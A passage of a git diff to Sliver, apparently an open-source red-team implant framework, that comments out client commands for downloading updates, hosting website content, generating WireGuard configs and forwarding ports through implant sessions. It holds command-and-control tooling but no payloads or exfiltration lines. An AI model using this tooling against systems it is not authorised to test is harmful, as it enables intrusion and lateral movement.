+// suffixes := []string{fmt.Sprintf("_%s.zip", runtime.GOOS), runtime.GOOS}
+// if runtime.GOOS == "darwin" {
+// suffixes = []string{"_macos.zip", "_macos"}
+// if runtime.GOARCH == "arm64" {
+// suffixes = []string{"_macos-arm64.zip", "_macos-arm64"}
+// }
+// }
+// prefix := "sliver-server"
+// return findAssetFor(prefix, suffixes, assets)
+// }
-func clientAssetForGOOS(assets []version.Asset) *version.Asset {
- suffixes := []string{fmt.Sprintf("_%s.zip", runtime.GOOS), runtime.GOOS}
- if runtime.GOOS == "darwin" {
- suffixes = []string{"_macos.zip", "_macos"}
- if runtime.GOARCH == "arm64" {
- suffixes = []string{"_macos-arm64.zip", "_macos-arm64"}
- }
- }
- prefix := "sliver-client"
- return findAssetFor(prefix, suffixes, assets)
-}
+// func clientAssetForGOOS(assets []version.Asset) *version.Asset {
+// suffixes := []string{fmt.Sprintf("_%s.zip", runtime.GOOS), runtime.GOOS}
+// if runtime.GOOS == "darwin" {
+// suffixes = []string{"_macos.zip", "_macos"}
+// if runtime.GOARCH == "arm64" {
+// suffixes = []string{"_macos-arm64.zip", "_macos-arm64"}
+// }
+// }
+// prefix := "sliver-client"
+// return findAssetFor(prefix, suffixes, assets)
+// }
-func updateAvailable(client *http.Client, release *version.Release, saveTo string) {
+// func updateAvailable(client *http.Client, release *version.Release, saveTo string) {
- serverAsset := serverAssetForGOOS(release.Assets)
- clientAsset := clientAssetForGOOS(release.Assets)
+// serverAsset := serverAssetForGOOS(release.Assets)
+// clientAsset := clientAssetForGOOS(release.Assets)
- fmt.Printf("New version available %s\n", release.TagName)
- if serverAsset != nil {
- fmt.Printf(" - Server: %s\n", util.ByteCountBinary(int64(serverAsset.Size)))
- }
- if clientAsset != nil {
- fmt.Printf(" - Client: %s\n", util.ByteCountBinary(int64(clientAsset.Size)))
- }
- fmt.Println()
+// fmt.Printf("New version available %s\n", release.TagName)
+// if serverAsset != nil {
+// fmt.Printf(" - Server: %s\n", util.ByteCountBinary(int64(serverAsset.Size)))
+// }
+// if clientAsset != nil {
+// fmt.Printf(" - Client: %s\n", util.ByteCountBinary(int64(clientAsset.Size)))
+// }
+// fmt.Println()
- confirm := false
- prompt := &survey.Confirm{
- Message: "Download update?",
- }
- survey.AskOne(prompt, &confirm)
- if confirm {
- fmt.Printf("Please wait ...")
- err := downloadAsset(client, serverAsset, saveTo)
- if err != nil {
- fmt.Printf(clearln+Warn+"%s\n", err)
- return
- }
- err = downloadAsset(client, clientAsset, saveTo)
- if err != nil {
- fmt.Printf(clearln+Warn+"%s\n", err)
- return
- }
- fmt.Printf(clearln+"\n"+Info+"Saved updates to: %s\n", saveTo)
- }
-}
+// confirm := false
+// prompt := &survey.Confirm{
+// Message: "Download update?",
+// }
+// survey.AskOne(prompt, &confirm)
+// if confirm {
+// fmt.Printf("Please wait ...")
+// err := downloadAsset(client, serverAsset, saveTo)
+// if err != nil {
+// fmt.Printf(clearln+Warn+"%s\n", err)
+// return
+// }
+// err = downloadAsset(client, clientAsset, saveTo)
+// if err != nil {
+// fmt.Printf(clearln+Warn+"%s\n", err)
+// return
+// }
+// fmt.Printf(clearln+"\n"+Info+"Saved updates to: %s\n", saveTo)
+// }
+// }
-func downloadAsset(client *http.Client, asset *version.Asset, saveTo string) error {
- downloadURL, err := url.Parse(asset.BrowserDownloadURL)
- if err != nil {
- return err
- }
- assetFileName := filepath.Base(downloadURL.Path)
+// func downloadAsset(client *http.Client, asset *version.Asset, saveTo string) error {
+// downloadURL, err := url.Parse(asset.BrowserDownloadURL)
+// if err != nil {
+// return err
+// }
+// assetFileName := filepath.Base(downloadURL.Path)
- limit := int64(asset.Size)
- writer, err := os.Create(filepath.Join(saveTo, assetFileName))
- if err != nil {
- return err
- }
+// limit := int64(asset.Size)
+// writer, err := os.Create(filepath.Join(saveTo, assetFileName))
+// if err != nil {
+// return err
+// }
- resp, err := client.Get(asset.BrowserDownloadURL)
- if err != nil {
- return err
- }
+// resp, err := client.Get(asset.BrowserDownloadURL)
+// if err != nil {
+// return err
+// }
- bar := pb.Full.Start64(limit)
- barReader := bar.NewProxyReader(resp.Body)
- io.Copy(writer, barReader)
- bar.Finish()
- return nil
-}
+// bar := pb.Full.Start64(limit)
+// barReader := bar.NewProxyReader(resp.Body)
+// io.Copy(writer, barReader)
+// bar.Finish()
+// return nil
+// }
diff --git a/client/command/website.go b/client/command/website.go
index fe3238a585..1822a9b194 100644
--- a/client/command/website.go
+++ b/client/command/website.go
@@ -1,309 +1,309 @@
package command
-/*
- Sliver Implant Framework
- Copyright (C) 2019 Bishop Fox
-
- This program is free software: you can redistribute it and/or modify
- it under the terms of the GNU General Public License as published by
- the Free Software Foundation, either version 3 of the License, or
- (at your option) any later version.
-
- This program is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- GNU General Public License for more details.
-
- You should have received a copy of the GNU General Public License
- along with this program. If not, see .
-*/
-
-import (
- "context"
- "errors"
- "fmt"
- "io"
- "io/ioutil"
- "net/http"
- "os"
- "path"
- "path/filepath"
- "sort"
- "strings"
- "text/tabwriter"
-
- "gopkg.in/AlecAivazis/survey.v1"
-
- "github.com/bishopfox/sliver/protobuf/clientpb"
- "github.com/bishopfox/sliver/protobuf/commonpb"
- "github.com/bishopfox/sliver/protobuf/rpcpb"
-
- "github.com/desertbit/grumble"
-)
-
-const (
- fileSampleSize = 512
- defaultMimeType = "application/octet-stream"
-)
-
-func websites(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- websiteName := ctx.Args.String("name")
- if websiteName == "" {
- listWebsites(ctx, rpc)
- } else {
- listWebsiteContent(websiteName, rpc)
- }
-}
-
-func listWebsites(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- websites, err := rpc.Websites(context.Background(), &commonpb.Empty{})
- if err != nil {
- fmt.Printf(Warn+"Failed to list websites %s", err)
- return
- }
- if len(websites.Websites) < 1 {
- fmt.Printf(Info + "No websites\n")
- return
- }
- fmt.Println("Websites")
- fmt.Println(strings.Repeat("=", len("Websites")))
- for _, site := range websites.Websites {
- fmt.Printf("%s%s%s - %d page(s)\n", bold, site.Name, normal, len(site.Contents))
- }
-}
-
-func listWebsiteContent(websiteName string, rpc rpcpb.SliverRPCClient) {
- website, err := rpc.Website(context.Background(), &clientpb.Website{
- Name: websiteName,
- })
- if err != nil {
- fmt.Printf(Warn+"Failed to list website content %s", err)
- return
- }
- if 0 < len(website.Contents) {
- displayWebsite(website)
- } else {
- fmt.Printf(Info+"No content for '%s'", websiteName)
- }
-}
-
-func addWebsiteContent(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- websiteName := ctx.Flags.String("website")
- if websiteName == "" {
- fmt.Printf(Warn + "Must specify a website name via --website, see --help\n")
- return
- }
- webPath := ctx.Flags.String("web-path")
- if webPath == "" {
- fmt.Printf(Warn + "Must specify a web path via --web-path, see --help\n")
- return
- }
- contentPath := ctx.Flags.String("content")
- if contentPath == "" {
- fmt.Println(Warn + "Must specify some --content")
- return
- }
- contentPath, _ = filepath.Abs(contentPath)
- contentType := ctx.Flags.String("content-type")
- recursive := ctx.Flags.Bool("recursive")
-
- fileInfo, err := os.Stat(contentPath)
- if err != nil {
- fmt.Printf(Warn+"Error adding content %s\n", err)
- return
- }
-
- addWeb := &clientpb.WebsiteAddContent{
- Name: websiteName,
- Contents: map[string]*clientpb.WebContent{},
- }
-
- if fileInfo.IsDir() {
- if !recursive && !confirmAddDirectory() {
- return
- }
- webAddDirectory(addWeb, webPath, contentPath)
- } else {
- webAddFile(addWeb, webPath, contentType, contentPath)
- }
-
- web, err := rpc.WebsiteAddContent(context.Background(), addWeb)
- if err != nil {
- fmt.Printf(Warn+"%s", err)
- return
- }
- displayWebsite(web)
-}
-
-func updateWebsiteContent(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- websiteName := ctx.Flags.String("website")
- if websiteName == "" {
- fmt.Printf(Warn + "Must specify a website name via --website, see --help\n")
- return
- }
- webPath := ctx.Flags.String("web-path")
- if webPath == "" {
- fmt.Printf(Warn + "Must specify a web path via --web-path, see --help\n")
- return
- }
- contentType := ctx.Flags.String("content-type")
- if contentType == "" {
- fmt.Printf(Warn + "Must specify a new --content-type, see --help\n")
- return
- }
-
- updateWeb := &clientpb.WebsiteAddContent{
- Name: websiteName,
- Contents: map[string]*clientpb.WebContent{},
- }
- updateWeb.Contents[webPath] = &clientpb.WebContent{
- ContentType: contentType,
- }
-
- web, err := rpc.WebsiteUpdateContent(context.Background(), updateWeb)
- if err != nil {
- fmt.Printf(Warn+"%s", err)
- return
- }
- displayWebsite(web)
-}
-
-func removeWebsite(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- _, err := rpc.WebsiteRemove(context.Background(), &clientpb.Website{
- Name: ctx.Args.String("name"),
- })
- if err != nil {
- fmt.Printf(Warn+"Failed to remove website %s", err)
- return
- }
-}
-
-func removeWebsiteContent(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- name := ctx.Flags.String("website")
- webPath := ctx.Flags.String("web-path")
- recursive := ctx.Flags.Bool("recursive")
-
- if name == "" {
- fmt.Printf(Warn + "Must specify a website name via --website, see --help\n")
- return
- }
- if webPath == "" {
- fmt.Printf(Warn + "Must specify a web path via --web-path, see --help\n")
- return
- }
-
- website, err := rpc.Website(context.Background(), &clientpb.Website{
- Name: name,
- })
- if err != nil {
- fmt.Printf(Warn+"%s", err)
- return
- }
-
- rmWebContent := &clientpb.WebsiteRemoveContent{
- Name: name,
- Paths: []string{},
- }
- if recursive {
- for contentPath := range website.Contents {
- if strings.HasPrefix(contentPath, webPath) {
- rmWebContent.Paths = append(rmWebContent.Paths, contentPath)
- }
- }
- } else {
- rmWebContent.Paths = append(rmWebContent.Paths, webPath)
- }
- web, err := rpc.WebsiteRemoveContent(context.Background(), rmWebContent)
- if err != nil {
- fmt.Printf(Warn+"Failed to remove content %s", err)
- return
- }
- displayWebsite(web)
-}
-
-func displayWebsite(web *clientpb.Website) {
- fmt.Println(clearln + Info + web.Name)
- fmt.Println()
- table := tabwriter.NewWriter(os.Stdout, 0, 2, 2, ' ', 0)
- fmt.Fprintf(table, "Path\tContent-type\tSize\t\n")
- fmt.Fprintf(table, "%s\t%s\t%s\t\n",
- strings.Repeat("=", len("Path")),
- strings.Repeat("=", len("Content-type")),
- strings.Repeat("=", len("Size")))
- sortedContents := []*clientpb.WebContent{}
- for _, content := range web.Contents {
- sortedContents = append(sortedContents, content)
- }
- sort.SliceStable(sortedContents, func(i, j int) bool {
- return sortedContents[i].Path < sortedContents[j].Path
- })
- for _, content := range sortedContents {
- fmt.Fprintf(table, "%s\t%s\t%d\t\n", content.Path, content.ContentType, content.Size)
- }
- table.Flush()
-}
-
-func webAddDirectory(web *clientpb.WebsiteAddContent, webpath string, contentPath string) {
- fullLocalPath, _ := filepath.Abs(contentPath)
- filepath.Walk(contentPath, func(localPath string, info os.FileInfo, err error) error {
- if err != nil {
- return err
- }
- if !info.IsDir() {
- // localPath is the full absolute path to the file, so we cut it down
- fullWebpath := path.Join(webpath, localPath[len(fullLocalPath):])
- webAddFile(web, fullWebpath, "", localPath)
- }
- return nil
- })
-}
-
-func webAddFile(web *clientpb.WebsiteAddContent, webpath string, contentType string, contentPath string) error {
-
- fileInfo, err := os.Stat(contentPath)
- if os.IsNotExist(err) {
- return err // contentPath does not exist
- }
- if fileInfo.IsDir() {
- return errors.New("file content path is directory")
- }
-
- file, err := os.Open(contentPath)
- if err != nil {
- return err
- }
- defer file.Close()
- data, err := ioutil.ReadAll(file)
- if err != nil {
- return err
- }
-
- if contentType == "" {
- contentType = sniffContentType(file)
- }
-
- web.Contents[webpath] = &clientpb.WebContent{
- Path: webpath,
- ContentType: contentType,
- Content: data,
- }
- return nil
-}
-
-func confirmAddDirectory() bool {
- confirm := false
- prompt := &survey.Confirm{Message: "Recursively add entire directory?"}
- survey.AskOne(prompt, &confirm, nil)
- return confirm
-}
-
-func sniffContentType(out *os.File) string {
- out.Seek(0, io.SeekStart)
- buffer := make([]byte, fileSampleSize)
- _, err := out.Read(buffer)
- if err != nil {
- return defaultMimeType
- }
- contentType := http.DetectContentType(buffer)
- return contentType
-}
+// /*
+// Sliver Implant Framework
+// Copyright (C) 2019 Bishop Fox
+
+// This program is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
+
+// This program is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+// GNU General Public License for more details.
+
+// You should have received a copy of the GNU General Public License
+// along with this program. If not, see .
+// */
+
+// import (
+// "context"
+// "errors"
+// "fmt"
+// "io"
+// "io/ioutil"
+// "net/http"
+// "os"
+// "path"
+// "path/filepath"
+// "sort"
+// "strings"
+// "text/tabwriter"
+
+// "gopkg.in/AlecAivazis/survey.v1"
+
+// "github.com/bishopfox/sliver/protobuf/clientpb"
+// "github.com/bishopfox/sliver/protobuf/commonpb"
+// "github.com/bishopfox/sliver/protobuf/rpcpb"
+
+// "github.com/desertbit/grumble"
+// )
+
+// const (
+// fileSampleSize = 512
+// defaultMimeType = "application/octet-stream"
+// )
+
+// func websites(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
+// websiteName := ctx.Args.String("name")
+// if websiteName == "" {
+// listWebsites(ctx, rpc)
+// } else {
+// listWebsiteContent(websiteName, rpc)
+// }
+// }
+
+// func listWebsites(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
+// websites, err := rpc.Websites(context.Background(), &commonpb.Empty{})
+// if err != nil {
+// fmt.Printf(Warn+"Failed to list websites %s", err)
+// return
+// }
+// if len(websites.Websites) < 1 {
+// fmt.Printf(Info + "No websites\n")
+// return
+// }
+// fmt.Println("Websites")
+// fmt.Println(strings.Repeat("=", len("Websites")))
+// for _, site := range websites.Websites {
+// fmt.Printf("%s%s%s - %d page(s)\n", bold, site.Name, normal, len(site.Contents))
+// }
+// }
+
+// func listWebsiteContent(websiteName string, rpc rpcpb.SliverRPCClient) {
+// website, err := rpc.Website(context.Background(), &clientpb.Website{
+// Name: websiteName,
+// })
+// if err != nil {
+// fmt.Printf(Warn+"Failed to list website content %s", err)
+// return
+// }
+// if 0 < len(website.Contents) {
+// displayWebsite(website)
+// } else {
+// fmt.Printf(Info+"No content for '%s'", websiteName)
+// }
+// }
+
+// func addWebsiteContent(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
+// websiteName := ctx.Flags.String("website")
+// if websiteName == "" {
+// fmt.Printf(Warn + "Must specify a website name via --website, see --help\n")
+// return
+// }
+// webPath := ctx.Flags.String("web-path")
+// if webPath == "" {
+// fmt.Printf(Warn + "Must specify a web path via --web-path, see --help\n")
+// return
+// }
+// contentPath := ctx.Flags.String("content")
+// if contentPath == "" {
+// fmt.Println(Warn + "Must specify some --content")
+// return
+// }
+// contentPath, _ = filepath.Abs(contentPath)
+// contentType := ctx.Flags.String("content-type")
+// recursive := ctx.Flags.Bool("recursive")
+
+// fileInfo, err := os.Stat(contentPath)
+// if err != nil {
+// fmt.Printf(Warn+"Error adding content %s\n", err)
+// return
+// }
+
+// addWeb := &clientpb.WebsiteAddContent{
+// Name: websiteName,
+// Contents: map[string]*clientpb.WebContent{},
+// }
+
+// if fileInfo.IsDir() {
+// if !recursive && !confirmAddDirectory() {
+// return
+// }
+// webAddDirectory(addWeb, webPath, contentPath)
+// } else {
+// webAddFile(addWeb, webPath, contentType, contentPath)
+// }
+
+// web, err := rpc.WebsiteAddContent(context.Background(), addWeb)
+// if err != nil {
+// fmt.Printf(Warn+"%s", err)
+// return
+// }
+// displayWebsite(web)
+// }
+
+// func updateWebsiteContent(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
+// websiteName := ctx.Flags.String("website")
+// if websiteName == "" {
+// fmt.Printf(Warn + "Must specify a website name via --website, see --help\n")
+// return
+// }
+// webPath := ctx.Flags.String("web-path")
+// if webPath == "" {
+// fmt.Printf(Warn + "Must specify a web path via --web-path, see --help\n")
+// return
+// }
+// contentType := ctx.Flags.String("content-type")
+// if contentType == "" {
+// fmt.Printf(Warn + "Must specify a new --content-type, see --help\n")
+// return
+// }
+
+// updateWeb := &clientpb.WebsiteAddContent{
+// Name: websiteName,
+// Contents: map[string]*clientpb.WebContent{},
+// }
+// updateWeb.Contents[webPath] = &clientpb.WebContent{
+// ContentType: contentType,
+// }
+
+// web, err := rpc.WebsiteUpdateContent(context.Background(), updateWeb)
+// if err != nil {
+// fmt.Printf(Warn+"%s", err)
+// return
+// }
+// displayWebsite(web)
+// }
+
+// func removeWebsite(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
+// _, err := rpc.WebsiteRemove(context.Background(), &clientpb.Website{
+// Name: ctx.Args.String("name"),
+// })
+// if err != nil {
+// fmt.Printf(Warn+"Failed to remove website %s", err)
+// return
+// }
+// }
+
+// func removeWebsiteContent(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
+// name := ctx.Flags.String("website")
+// webPath := ctx.Flags.String("web-path")
+// recursive := ctx.Flags.Bool("recursive")
+
+// if name == "" {
+// fmt.Printf(Warn + "Must specify a website name via --website, see --help\n")
+// return
+// }
+// if webPath == "" {
+// fmt.Printf(Warn + "Must specify a web path via --web-path, see --help\n")
+// return
+// }
+
+// website, err := rpc.Website(context.Background(), &clientpb.Website{
+// Name: name,
+// })
+// if err != nil {
+// fmt.Printf(Warn+"%s", err)
+// return
+// }
+
+// rmWebContent := &clientpb.WebsiteRemoveContent{
+// Name: name,
+// Paths: []string{},
+// }
+// if recursive {
+// for contentPath := range website.Contents {
+// if strings.HasPrefix(contentPath, webPath) {
+// rmWebContent.Paths = append(rmWebContent.Paths, contentPath)
+// }
+// }
+// } else {
+// rmWebContent.Paths = append(rmWebContent.Paths, webPath)
+// }
+// web, err := rpc.WebsiteRemoveContent(context.Background(), rmWebContent)
+// if err != nil {
+// fmt.Printf(Warn+"Failed to remove content %s", err)
+// return
+// }
+// displayWebsite(web)
+// }
+
+// func displayWebsite(web *clientpb.Website) {
+// fmt.Println(clearln + Info + web.Name)
+// fmt.Println()
+// table := tabwriter.NewWriter(os.Stdout, 0, 2, 2, ' ', 0)
+// fmt.Fprintf(table, "Path\tContent-type\tSize\t\n")
+// fmt.Fprintf(table, "%s\t%s\t%s\t\n",
+// strings.Repeat("=", len("Path")),
+// strings.Repeat("=", len("Content-type")),
+// strings.Repeat("=", len("Size")))
+// sortedContents := []*clientpb.WebContent{}
+// for _, content := range web.Contents {
+// sortedContents = append(sortedContents, content)
+// }
+// sort.SliceStable(sortedContents, func(i, j int) bool {
+// return sortedContents[i].Path < sortedContents[j].Path
+// })
+// for _, content := range sortedContents {
+// fmt.Fprintf(table, "%s\t%s\t%d\t\n", content.Path, content.ContentType, content.Size)
+// }
+// table.Flush()
+// }
+
+// func webAddDirectory(web *clientpb.WebsiteAddContent, webpath string, contentPath string) {
+// fullLocalPath, _ := filepath.Abs(contentPath)
+// filepath.Walk(contentPath, func(localPath string, info os.FileInfo, err error) error {
+// if err != nil {
+// return err
+// }
+// if !info.IsDir() {
+// // localPath is the full absolute path to the file, so we cut it down
+// fullWebpath := path.Join(webpath, localPath[len(fullLocalPath):])
+// webAddFile(web, fullWebpath, "", localPath)
+// }
+// return nil
+// })
+// }
+
+// func webAddFile(web *clientpb.WebsiteAddContent, webpath string, contentType string, contentPath string) error {
+
+// fileInfo, err := os.Stat(contentPath)
+// if os.IsNotExist(err) {
+// return err // contentPath does not exist
+// }
+// if fileInfo.IsDir() {
+// return errors.New("file content path is directory")
+// }
+
+// file, err := os.Open(contentPath)
+// if err != nil {
+// return err
+// }
+// defer file.Close()
+// data, err := ioutil.ReadAll(file)
+// if err != nil {
+// return err
+// }
+
+// if contentType == "" {
+// contentType = sniffContentType(file)
+// }
+
+// web.Contents[webpath] = &clientpb.WebContent{
+// Path: webpath,
+// ContentType: contentType,
+// Content: data,
+// }
+// return nil
+// }
+
+// func confirmAddDirectory() bool {
+// confirm := false
+// prompt := &survey.Confirm{Message: "Recursively add entire directory?"}
+// survey.AskOne(prompt, &confirm, nil)
+// return confirm
+// }
+
+// func sniffContentType(out *os.File) string {
+// out.Seek(0, io.SeekStart)
+// buffer := make([]byte, fileSampleSize)
+// _, err := out.Read(buffer)
+// if err != nil {
+// return defaultMimeType
+// }
+// contentType := http.DetectContentType(buffer)
+// return contentType
+// }
diff --git a/client/command/wg-config.go b/client/command/wg-config.go
index 0f5caa4c5b..9b76c11a22 100644
--- a/client/command/wg-config.go
+++ b/client/command/wg-config.go
@@ -1,104 +1,104 @@
package command
-/*
- Sliver Implant Framework
- Copyright (C) 2021 Bishop Fox
+// /*
+// Sliver Implant Framework
+// Copyright (C) 2021 Bishop Fox
- This program is free software: you can redistribute it and/or modify
- it under the terms of the GNU General Public License as published by
- the Free Software Foundation, either version 3 of the License, or
- (at your option) any later version.
+// This program is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
- This program is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- GNU General Public License for more details.
+// This program is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+// GNU General Public License for more details.
- You should have received a copy of the GNU General Public License
- along with this program. If not, see .
-*/
+// You should have received a copy of the GNU General Public License
+// along with this program. If not, see .
+// */
-import (
- "bytes"
- "context"
- "encoding/base64"
- "encoding/hex"
- "fmt"
- "io/ioutil"
- "net"
- "strings"
- "text/template"
+// import (
+// "bytes"
+// "context"
+// "encoding/base64"
+// "encoding/hex"
+// "fmt"
+// "io/ioutil"
+// "net"
+// "strings"
+// "text/template"
- "github.com/bishopfox/sliver/protobuf/commonpb"
- "github.com/bishopfox/sliver/protobuf/rpcpb"
- "github.com/desertbit/grumble"
-)
+// "github.com/bishopfox/sliver/protobuf/commonpb"
+// "github.com/bishopfox/sliver/protobuf/rpcpb"
+// "github.com/desertbit/grumble"
+// )
-var wgQuickTemplate = `[Interface]
-Address = {{.ClientIP}}/16
-ListenPort = 51902
-PrivateKey = {{.PrivateKey}}
-MTU = 1420
+// var wgQuickTemplate = `[Interface]
+// Address = {{.ClientIP}}/16
+// ListenPort = 51902
+// PrivateKey = {{.PrivateKey}}
+// MTU = 1420
-[Peer]
-PublicKey = {{.ServerPublicKey}}
-AllowedIPs = {{.AllowedSubnet}}
-Endpoint = `
+// [Peer]
+// PublicKey = {{.ServerPublicKey}}
+// AllowedIPs = {{.AllowedSubnet}}
+// Endpoint = `
-type wgQuickConfig struct {
- ClientIP string
- PrivateKey string
- ServerPublicKey string
- AllowedSubnet string
-}
+// type wgQuickConfig struct {
+// ClientIP string
+// PrivateKey string
+// ServerPublicKey string
+// AllowedSubnet string
+// }
-func getWGClientConfig(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- wgConfig, err := rpc.GenerateWGClientConfig(context.Background(), &commonpb.Empty{})
- if err != nil {
- fmt.Printf(Warn+"Error: %s\n", err)
- return
- }
- clientPrivKeyBytes, err := hex.DecodeString(wgConfig.ClientPrivateKey)
- if err != nil {
- fmt.Printf(Warn+"Error: %s\n", err)
- return
- }
- serverPubKeyBytes, err := hex.DecodeString(wgConfig.ServerPubKey)
- if err != nil {
- fmt.Printf(Warn+"Error: %s\n", err)
- return
- }
- tmpl, err := template.New("wgQuick").Parse(wgQuickTemplate)
- if err != nil {
- fmt.Printf(Warn+"Error: %s\n", err)
- return
- }
- clientIP, network, err := net.ParseCIDR(wgConfig.ClientIP + "/16")
- if err != nil {
- fmt.Printf(Warn+"Error: %s\n", err)
- return
- }
- output := bytes.Buffer{}
- tmpl.Execute(&output, wgQuickConfig{
- ClientIP: clientIP.String(),
- PrivateKey: base64.StdEncoding.EncodeToString(clientPrivKeyBytes),
- ServerPublicKey: base64.StdEncoding.EncodeToString(serverPubKeyBytes),
- AllowedSubnet: network.String(),
- })
+// func getWGClientConfig(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
+// wgConfig, err := rpc.GenerateWGClientConfig(context.Background(), &commonpb.Empty{})
+// if err != nil {
+// fmt.Printf(Warn+"Error: %s\n", err)
+// return
+// }
+// clientPrivKeyBytes, err := hex.DecodeString(wgConfig.ClientPrivateKey)
+// if err != nil {
+// fmt.Printf(Warn+"Error: %s\n", err)
+// return
+// }
+// serverPubKeyBytes, err := hex.DecodeString(wgConfig.ServerPubKey)
+// if err != nil {
+// fmt.Printf(Warn+"Error: %s\n", err)
+// return
+// }
+// tmpl, err := template.New("wgQuick").Parse(wgQuickTemplate)
+// if err != nil {
+// fmt.Printf(Warn+"Error: %s\n", err)
+// return
+// }
+// clientIP, network, err := net.ParseCIDR(wgConfig.ClientIP + "/16")
+// if err != nil {
+// fmt.Printf(Warn+"Error: %s\n", err)
+// return
+// }
+// output := bytes.Buffer{}
+// tmpl.Execute(&output, wgQuickConfig{
+// ClientIP: clientIP.String(),
+// PrivateKey: base64.StdEncoding.EncodeToString(clientPrivKeyBytes),
+// ServerPublicKey: base64.StdEncoding.EncodeToString(serverPubKeyBytes),
+// AllowedSubnet: network.String(),
+// })
- save := ctx.Flags.String("save")
- if save == "" {
- fmt.Println(Info + "New client config:")
- fmt.Println(output.String())
- } else {
- if !strings.HasSuffix(save, ".conf") {
- save += ".conf"
- }
- err = ioutil.WriteFile(save, []byte(output.String()), 0600)
- if err != nil {
- fmt.Printf(Warn+"Error: %s\n", err)
- return
- }
- fmt.Printf(Info+"Wrote conf: %s\n", save)
- }
-}
+// save := ctx.Flags.String("save")
+// if save == "" {
+// fmt.Println(Info + "New client config:")
+// fmt.Println(output.String())
+// } else {
+// if !strings.HasSuffix(save, ".conf") {
+// save += ".conf"
+// }
+// err = ioutil.WriteFile(save, []byte(output.String()), 0600)
+// if err != nil {
+// fmt.Printf(Warn+"Error: %s\n", err)
+// return
+// }
+// fmt.Printf(Info+"Wrote conf: %s\n", save)
+// }
+// }
diff --git a/client/command/wg-forwarders.go b/client/command/wg-forwarders.go
index d6c0613256..aa19cf4aad 100644
--- a/client/command/wg-forwarders.go
+++ b/client/command/wg-forwarders.go
@@ -1,254 +1,254 @@
package command
-/*
- Sliver Implant Framework
- Copyright (C) 2021 Bishop Fox
-
- This program is free software: you can redistribute it and/or modify
- it under the terms of the GNU General Public License as published by
- the Free Software Foundation, either version 3 of the License, or
- (at your option) any later version.
-
- This program is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- GNU General Public License for more details.
-
- You should have received a copy of the GNU General Public License
- along with this program. If not, see .
-*/
-
-import (
- "bytes"
- "context"
- "fmt"
- "net"
- "strings"
- "text/tabwriter"
-
- "github.com/bishopfox/sliver/protobuf/rpcpb"
- "github.com/bishopfox/sliver/protobuf/sliverpb"
- "github.com/desertbit/grumble"
-)
-
-func wgPortFwdAddCmd(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- session := ActiveSession.GetInteractive()
- if session == nil {
- return
- }
- if session.Transport != "wg" {
- fmt.Println(Warn + "This command is only supported for WireGuard implants")
- return
- }
-
- localPort := ctx.Flags.Int("bind")
- remoteAddr := ctx.Flags.String("remote")
- if remoteAddr == "" {
- fmt.Println(Warn + "Must specify a remote target host:port")
- return
- }
- remoteHost, remotePort, err := net.SplitHostPort(remoteAddr)
- if err != nil {
- fmt.Print(Warn+"Failed to parse remote target %s\n", err)
- return
- }
-
- pfwdAdd, err := rpc.WGStartPortForward(context.Background(), &sliverpb.WGPortForwardStartReq{
- LocalPort: int32(localPort),
- RemoteAddress: remoteAddr,
- Request: ActiveSession.Request(ctx),
- })
-
- if err != nil {
- fmt.Printf(Warn+"Error: %v", err)
- return
- }
-
- if pfwdAdd.Response != nil && pfwdAdd.Response.Err != "" {
- fmt.Printf(Warn+"Error: %s\n", pfwdAdd.Response.Err)
- return
- }
- fmt.Printf(Info+"Port forwarding %s -> %s:%s\n", pfwdAdd.Forwarder.LocalAddr, remoteHost, remotePort)
-}
-
-func wgPortFwdListCmd(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- session := ActiveSession.GetInteractive()
- if session == nil {
- return
- }
- if session.Transport != "wg" {
- fmt.Println(Warn + "This command is only supported for WireGuard implants")
- return
- }
-
- fwdList, err := rpc.WGListForwarders(context.Background(), &sliverpb.WGTCPForwardersReq{
- Request: ActiveSession.Request(ctx),
- })
-
- if err != nil {
- fmt.Printf(Warn+"Error: %v", err)
- return
- }
-
- if fwdList.Response != nil && fwdList.Response.Err != "" {
- fmt.Printf(Warn+"Error: %s\n", fwdList.Response.Err)
- return
- }
-
- if fwdList.Forwarders != nil {
- if len(fwdList.Forwarders) == 0 {
- fmt.Printf(Info + "No port forwards\n")
- } else {
- outBuf := bytes.NewBufferString("")
- table := tabwriter.NewWriter(outBuf, 0, 3, 3, ' ', 0)
- fmt.Fprintf(table, "ID\tLocal Address\tRemote Address\t\n")
- fmt.Fprintf(table, "%s\t%s\t%s\t\n",
- strings.Repeat("=", len("ID")),
- strings.Repeat("=", len("Local Address")),
